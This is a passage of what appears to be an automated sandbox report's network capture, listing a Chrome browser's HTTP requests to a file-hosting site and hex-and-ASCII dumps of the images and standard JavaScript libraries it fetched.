Ascii: <svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.06
2024-06-15 09:15:02 UTC	16384	IN	Data Raw: 39 34 31 20 32 38 37 2e 31 38 32 20 38 2e 35 37 32 35 39 20 32 38 36 2e 38 33 36 20 38 2e 39 31 38 39 35 43 32 38 36 2e 34 39 34 20 39 2e 32 36 35 33 20 32 38 36 2e 33 32 33 20 39 2e 37 32 31 30 33 20 32 38 36 2e 33 32 33 20 31 30 2e 32 38 36 31 43 32 38 36 2e 33 32 33 20 31 30 2e 38 35 31 32 20 32 38 36 2e 34 39 20 31 31 2e 32 39 35 36 20 32 38 36 2e 38 32 32 20 31 31 2e 36 31 39 31 43 32 38 37 2e 31 36 20 31 31 2e 39 34 32 37 20 32 38 37 2e 36 32 37 20 31 32 2e 31 30 34 35 20 32 38 38 2e 32 32 34 20 31 32 2e 31 30 34 35 43 32 38 38 2e 38 31 36 20 31 32 2e 31 30 34 35 20 32 38 39 2e 32 38 31 20 31 31 2e 39 34 32 37 20 32 38 39 2e 36 31 38 20 31 31 2e 36 31 39 31 43 32 38 39 2e 39 35 35 20 31 31 2e 32 39 31 20 32 39 30 2e 31 32 34 20 31 30 2e 38 34 36 37 Data Ascii: 941 287.182 8.57259 286.836 8.91895C286.494 9.2653 286.323 9.72103 286.323 10.2861C286.323 10.8512 286.49 11.2956 286.822 11.6191C287.16 11.9427 287.627 12.1045 288.224 12.1045C288.816 12.1045 289.281 11.9427 289.618 11.6191C289.955 11.291 290.124 10.8467
2024-06-15 09:15:02 UTC	16384	IN	Data Raw: 32 2e 30 36 38 20 32 32 2e 31 30 39 34 43 31 38 32 2e 35 35 31 20 32 32 2e 35 33 33 32 20 31 38 32 2e 38 30 32 20 32 33 2e 31 31 38 38 20 31 38 32 2e 38 32 20 32 33 2e 38 36 36 32 56 32 37 2e 32 37 30 35 43 31 38 32 2e 38 32 20 32 37 2e 39 34 39 35 20 31 38 32 2e 39 30 37 20 32 38 2e 34 38 39 36 20 31 38 33 2e 30 38 20 32 38 2e 38 39 30 36 56 32 39 48 31 38 31 2e 37 35 34 5a 4d 31 37 39 2e 36 35 35 20 32 38 2e 30 33 36 31 43 31 38 30 2e 30 35 32 20 32 38 2e 30 33 36 31 20 31 38 30 2e 34 32 38 20 32 37 2e 39 33 33 36 20 31 38 30 2e 37 38 33 20 32 37 2e 37 32 38 35 43 31 38 31 2e 31 33 39 20 32 37 2e 35 32 33 34 20 31 38 31 2e 33 39 36 20 32 37 2e 32 35 36 38 20 31 38 31 2e 35 35 36 20 32 36 2e 39 32 38 37 56 32 35 2e 34 31 31 31 48 31 38 30 2e 35 36 34 43 Data Ascii: 2.068 22.1094C182.551 22.5332 182.802 23.1188 182.82 23.8662V27.2705C182.82 27.9495 182.907 28.4896 183.08 28.8906V29H181.754ZM179.655 28.0361C180.052 28.0361 180.428 27.9336 180.783 27.7285C181.139 27.5234 181.396 27.2568 181.556 26.9287V25.4111H180.564C
2024-06-15 09:15:02 UTC	1438	IN	Data Raw: 33 35 20 33 31 2e 39 31 37 20 34 34 2e 30 36 33 35 43 33 32 2e 38 38 33 31 20 34 34 2e 30 36 33 35 20 33 33 2e 35 32 35 37 20 34 33 2e 37 30 33 35 20 33 33 2e 38 34 34 37 20 34 32 2e 39 38 33 34 56 33 37 2e 36 30 33 35 48 33 35 2e 31 30 39 34 56 34 35 48 33 33 2e 39 30 36 32 4c 33 33 2e 38 37 38 39 20 34 34 2e 32 36 38 36 5a 4d 34 31 2e 33 34 33 38 20 34 33 2e 30 33 38 31 43 34 31 2e 33 34 33 38 20 34 32 2e 36 39 36 33 20 34 31 2e 32 31 33 39 20 34 32 2e 34 33 32 20 34 30 2e 39 35 34 31 20 34 32 2e 32 34 35 31 43 34 30 2e 36 39 38 39 20 34 32 2e 30 35 33 37 20 34 30 2e 32 35 20 34 31 2e 38 38 39 36 20 33 39 2e 36 30 37 34 20 34 31 2e 37 35 32 39 43 33 38 2e 39 36 39 34 20 34 31 2e 36 31 36 32 20 33 38 2e 34 36 31 33 20 34 31 2e 34 35 32 31 20 33 38 2e 30 Data Ascii: 35 31.917 44.0635C32.8831 44.0635 33.5257 43.7035 33.8447 42.9834V37.6035H35.1094V45H33.9062L33.8789 44.2686ZM41.3438 43.0381C41.3438 42.6963 41.2139 42.432 40.9541 42.2451C40.6989 42.0537 40.25 41.8896 39.6074 41.7529C38.9694 41.6162 38.4613 41.4521 38.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.16	49822	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:01 UTC	485	OUT	GET /img/oxy-logo.svg HTTP/1.1 Host: download.oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	381	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Tue, 11 Jun 2024 23:38:48 GMT Content-Type: image/svg+xml Content-Length: 8217 Last-Modified: Wed, 17 Feb 2021 01:25:02 GMT Vary: Accept-Encoding ETag: "602c706e-2019" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 293775 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	5421	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 37 36 22 20 68 65 69 67 68 74 3d 22 32 38 37 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 37 36 20 32 38 37 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 39 36 2e 35 20 32 34 33 43 31 32 30 2e 32 30 34 20 32 35 35 2e 36 36 34 20 31 34 32 2e 30 39 35 20 32 35 38 2e 32 38 33 20 31 36 38 2e 32 39 38 20 32 35 32 2e 33 31 31 43 31 39 34 2e 35 30 32 20 32 34 36 2e 33 33 39 20 32 31 37 2e 36 37 20 32 33 31 2e 31 31 32 20 32 33 33 2e 35 34 36 20 32 30 39 2e 34 32 38 Data Ascii: <svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428
2024-06-15 09:15:02 UTC	2796	IN	Data Raw: 20 39 33 31 2e 36 31 38 20 31 33 33 2e 37 32 43 39 33 36 2e 34 33 31 20 31 32 35 2e 37 34 20 39 34 33 2e 30 38 32 20 31 31 39 2e 35 33 33 20 39 35 31 2e 35 36 38 20 31 31 35 2e 31 43 39 36 30 2e 31 38 32 20 31 31 30 2e 35 34 20 39 36 39 2e 38 37 32 20 31 30 38 2e 32 36 20 39 38 30 2e 36 33 38 20 31 30 38 2e 32 36 43 39 39 31 2e 34 30 35 20 31 30 38 2e 32 36 20 31 30 30 31 2e 30 33 20 31 31 30 2e 35 34 20 31 30 30 39 2e 35 32 20 31 31 35 2e 31 43 31 30 31 38 20 31 31 39 2e 35 33 33 20 31 30 32 34 2e 36 35 20 31 32 35 2e 37 34 20 31 30 32 39 2e 34 37 20 31 33 33 2e 37 32 43 31 30 33 34 2e 32 38 20 31 34 31 2e 37 20 31 30 33 36 2e 36 39 20 31 35 30 2e 37 35 37 20 31 30 33 36 2e 36 39 20 31 36 30 2e 38 39 43 31 30 33 36 2e 36 39 20 31 37 31 2e 30 32 33 20 31 Data Ascii: 931.618 133.72C936.431 125.74 943.082 119.533 951.568 115.1C960.182 110.54 969.872 108.26 980.638 108.26C991.405 108.26 1001.03 110.54 1009.52 115.1C1018 119.533 1024.65 125.74 1029.47 133.72C1034.28 141.7 1036.69 150.757 1036.69 160.89C1036.69 171.023 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.16	49820	23.212.88.20	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	642	OUT	GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1 Host: lg3.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:02 UTC	328	IN	HTTP/1.1 200 OK Content-Length: 35 Content-Type: image/gif Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=21600 Alt-Svc: h3=":443"; ma=93600 Expires: Sat, 15 Jun 2024 09:15:02 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 15 Jun 2024 09:15:02 GMT Connection: close
2024-06-15 09:15:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.16	49825	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	511	OUT	GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1 Host: download.oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Wed, 12 Jun 2024 15:03:27 GMT Content-Type: image/jpeg Content-Length: 31870 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-7c7e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 238296 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	16028	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xm
2024-06-15 09:15:02 UTC	15842	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 4c 72 8b e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 e6 18 3f 31 b3 cf 8e 23 5b 79 26 f4 ed f3 d3 df ac 47 c5 a6 9e 94 fc b6 4f 4b 3d 6d d1 ae 93 f0 96 b7 8e 2a cc 28 0e 91 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Lr?1#[y&GOK=m*(H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.16	49824	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	717	OUT	GET /slake/asset/js/bootstrap.min.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:03 UTC	387	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:15:02 GMT Content-Type: application/javascript Content-Length: 48944 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-bf30" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 2 DDG-Cache-Status: MISS
2024-06-15 09:15:03 UTC	15997	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f Data Ascii: /! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t,e){"o
2024-06-15 09:15:03 UTC	61	IN	Data Raw: 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 74 28 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 2c 73 3d 65 2e 64 61 Data Ascii: orFromElement(this);t(s).each(function(){var e=t(this),s=e.da
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 74 61 28 6e 29 3f 22 74 6f 67 67 6c 65 22 3a 69 2e 64 61 74 61 28 29 3b 6d 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 73 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 6d 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6d 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 6d 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 6d 7d 28 65 29 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 64 72 6f 70 64 6f 77 6e 22 2c 69 3d 22 62 73 2e 64 72 6f 70 64 6f 77 6e 22 2c 6f 3d 22 2e 22 2b 69 2c 61 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 6c 3d 74 2e 66 6e 5b Data Ascii: ta(n)?"toggle":i.data();m._jQueryInterface.call(e,s)})}),t.fn[e]=m._jQueryInterface,t.fn[e].Constructor=m,t.fn[e].noConflict=function(){return t.fn[e]=o,m._jQueryInterface},m}(e),W=function(t){var e="dropdown",i="bs.dropdown",o="."+i,a=".data-api",l=t.fn[
2024-06-15 09:15:03 UTC	16384	IN	Data Raw: 3d 3d 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 50 6c 65 61 73 65 20 75 73 65 20 73 68 6f 77 20 6f 6e 20 76 69 73 69 62 6c 65 20 65 6c 65 6d 65 6e 74 73 22 29 3b 76 61 72 20 69 3d 74 2e 45 76 65 6e 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 45 76 65 6e 74 2e 53 48 4f 57 29 3b 69 66 28 74 68 69 73 2e 69 73 57 69 74 68 43 6f 6e 74 65 6e 74 28 29 26 26 74 68 69 73 2e 5f 69 73 45 6e 61 62 6c 65 64 29 7b 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 69 29 3b 76 61 72 20 73 3d 74 2e 63 6f 6e 74 61 69 6e 73 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 Data Ascii: ==t(this.element).css("display"))throw new Error("Please use show on visible elements");var i=t.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){t(this.element).trigger(i);var s=t.contains(this.element.ownerDocument.documentEle
2024-06-15 09:15:03 UTC	118	IN	Data Raw: 70 79 3d 4b 2c 74 2e 54 61 62 3d 56 2c 74 2e 54 6f 6f 6c 74 69 70 3d 55 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 7d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 2e 6d 61 70 Data Ascii: py=K,t.Tab=V,t.Tooltip=U,Object.defineProperty(t,"__esModule",{value:!0})});//# sourceMappingURL=bootstrap.min.js.map

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.16	49826	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	738	OUT	GET /slake/asset/js/jquery.mCustomScrollbar.concat.min.js HTTP/1.1 Host: download.oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	391	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Mon, 10 Jun 2024 18:44:10 GMT Content-Type: application/javascript Content-Length: 45483 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-b1ab" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 397853 DDG-Cache-Status: HIT
2024-06-15 09:15:02 UTC	15993	IN	Data Raw: 2f 2a 20 3d 3d 20 6a 71 75 65 72 79 20 6d 6f 75 73 65 77 68 65 65 6c 20 70 6c 75 67 69 6e 20 3d 3d 20 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 31 33 2c 20 4c 69 63 65 6e 73 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 61 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 3a 61 28 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 76 61 72 20 67 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c Data Ascii: /* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) */!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b\|\|window.event,
2024-06-15 09:15:02 UTC	16384	IN	Data Raw: 3d 65 28 22 2e 6d 43 53 42 5f 22 2b 6f 2e 69 64 78 2b 22 5f 73 63 72 6f 6c 6c 62 61 72 3a 66 69 72 73 74 22 29 2c 72 3d 6f 65 28 6e 2e 73 63 72 6f 6c 6c 42 75 74 74 6f 6e 73 2e 74 61 62 69 6e 64 65 78 29 3f 22 74 61 62 69 6e 64 65 78 3d 27 22 2b 6e 2e 73 63 72 6f 6c 6c 42 75 74 74 6f 6e 73 2e 74 61 62 69 6e 64 65 78 2b 22 27 22 3a 22 22 2c 6c 3d 5b 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 33 5d 2b 22 27 20 22 2b 72 2b 22 20 2f 3e 22 2c 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 34 5d 2b 22 27 20 22 2b 72 2b 22 20 2f 3e 22 2c 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c 61 73 73 3d 27 22 2b 64 5b 31 35 5d 2b 22 27 20 22 2b 72 2b 22 20 2f 3e 22 2c 22 3c 61 20 68 72 65 66 3d 27 23 27 20 63 6c Data Ascii: =e(".mCSB_"+o.idx+"_scrollbar:first"),r=oe(n.scrollButtons.tabindex)?"tabindex='"+n.scrollButtons.tabindex+"'":"",l=["<a href='#' class='"+d[13]+"' "+r+" />","<a href='#' class='"+d[14]+"' "+r+" />","<a href='#' class='"+d[15]+"' "+r+" />","<a href='#' cl
2024-06-15 09:15:03 UTC	13106	IN	Data Raw: 26 21 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 30 5d 7c 7c 28 33 37 3d 3d 3d 6c 7c 7c 33 39 3d 3d 3d 6c 29 26 26 21 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 31 5d 29 72 65 74 75 72 6e 3b 22 6b 65 79 75 70 22 3d 3d 3d 74 2e 74 79 70 65 26 26 28 73 3d 22 6f 66 66 22 29 2c 65 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 2e 69 73 28 75 29 7c 7c 28 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 28 73 2c 6c 29 29 7d 65 6c 73 65 20 69 66 28 33 33 3d 3d 3d 6c 7c 7c 33 34 3d 3d 3d 6c 29 7b 69 66 28 28 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 30 5d 7c 7c 6e 2e 6f 76 65 72 66 6c 6f 77 65 64 5b 31 5d 29 26 26 28 74 2e 70 72 65 76 65 6e 74 44 65 66 Data Ascii: &!n.overflowed[0]\|\|(37===l\|\|39===l)&&!n.overflowed[1])return;"keyup"===t.type&&(s="off"),e(document.activeElement).is(u)\|\|(t.preventDefault(),t.stopImmediatePropagation(),a(s,l))}else if(33===l\|\|34===l){if((n.overflowed[0]\|\|n.overflowed[1])&&(t.preventDef

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.16	49830	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:02 UTC	487	OUT	GET /images/sprite3.png HTTP/1.1 Host: download.oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:02 UTC	353	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Mon, 10 Jun 2024 18:30:46 GMT Content-Type: image/png Content-Length: 2059 Last-Modified: Sun, 27 Mar 2022 20:43:28 GMT ETag: "6240cc70-80b" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 398657 DDG-Cache-Status: HIT
